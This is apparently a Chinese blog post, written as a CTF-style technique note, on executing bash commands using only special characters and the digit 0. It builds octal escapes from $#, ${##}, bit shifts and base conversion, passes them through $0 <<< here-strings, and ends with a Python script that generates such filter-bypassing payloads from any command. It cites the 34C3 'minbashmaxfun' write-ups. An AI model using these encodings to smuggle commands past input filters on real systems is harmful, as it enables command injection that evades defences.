Bash-Vino0o0o

今天才知道将ASCII字符转为八进制在bash环境中也能执行命令。。。all right

不过测试了一下似乎只能够执行一些没有参数的命令。

文件描述符 名称 常用缩写 默认值

0 标准输入 stdin 键盘

1 标准输出 stdout 屏幕

2 标准错误输出 stderr 屏幕

一些bash小技巧

1
2
3
4
5
6
7
8
9
10
11
12
13
- 命令替换:$(命令) => $(echo whoami) 将命令的结果当作命令执行
- 算术拓展:$((算术表达式))
- 花括号拓展:touch file{1,2,3}.txt 将创建file1.txt file2.txt file3.txt文件
- 输入重定向:command < file 将file的输出作为command的输入
- 字符串重定向:command <<< text
- 变量长度:${#variable}
- 间接变量扩展 ${!variable}
- Bash进程ID:$$
- Bash参数数量:$#
- Bash默认变量#:变量名为# 值为0 长度为1
- Bash定义变量:vars=111
- Bash使用变量:echo $vars
- $0 = bash

通过文字重定向执行命令

1
bash <<< $'\154\163'

bash可通过变量0获得,即$0。

1
$0 <<< $'\154\163'

接下来构造数字1-8组合为八进制执行命令。

数字1通过默认变量#的长度获得

1
${##}

数字2通过1左移运算1次获得

1
$((${##}<<${##}))

数字3通过将二进制11转为十进制获得

1
$(($((${##}<<${##}))#${##}${##}))

数字4通过1左移运算2次获得

1
$((${##}<<${##}<<${##}))

数字5通过将二进制101转为十进制获得

1
$(($((${##}<<${##}))#${##}$#${##}))

数字6通过将二进制110转为十进制获得

1
$(($((${##}<<${##}))#${##}${##}$#))

数字7通过将二进制111转为十进制获得

1
$(($((${##}<<${##}))#${##}${##}${##}))

假设允许特殊符号及数字那么我们可以直接这样执行命令

1
2
$0 <<< $'\154\163\40\57'  等同于如下命令
bash <<< "ls /"

但我们现在的场景只允许特殊符号及0, 我们已知可以通过bash的拓展构造出八进制所需的数字0-7, 那么便可以根据需求编写脚本生成Payload。

构造ls命令, ls八进制为154 163, 构造这两个数字前的第一个数字必须转义。

1
$0<<<$0\<\<\<\$\'\\${##}$(($((${##}<<${##}))#${##}$#${##}))$((${##}<<${##}<<${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}${##}))\'

生成命令脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from fire import Fire

n = dict()
n[0] = '$#'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<${##}<<${##}))'
n[5] = '$(($((${##}<<${##}))#${##}$#${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}$#))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'

def str_to_oct(command):
cmd = ""
i = 0
for c in command:
ascii_oct = oct(ord(c))[2:]
for _ in ascii_oct:
if i == 0:
cmd += '\\\\' + n[int(_)]
i += 1
else:
cmd += n[int(_)]
i = 0
return cmd

def complete_payload(command):
cmd = str_to_oct(command)
payload = "$0<<<$0\\<\\<\\<\\$\\'" + cmd + "\\'"
return payload

def main():
payload = Fire(complete_payload)

if __name__ == '__main__':
main()

使用方法

python3 bash.py whoami

参考文章:

https://medium.com/@orik_/34c3-ctf-minbashmaxfun-writeup-4470b596df60

https://hack.more.systems/writeup/2017/12/30/34c3ctf-minbashmaxfun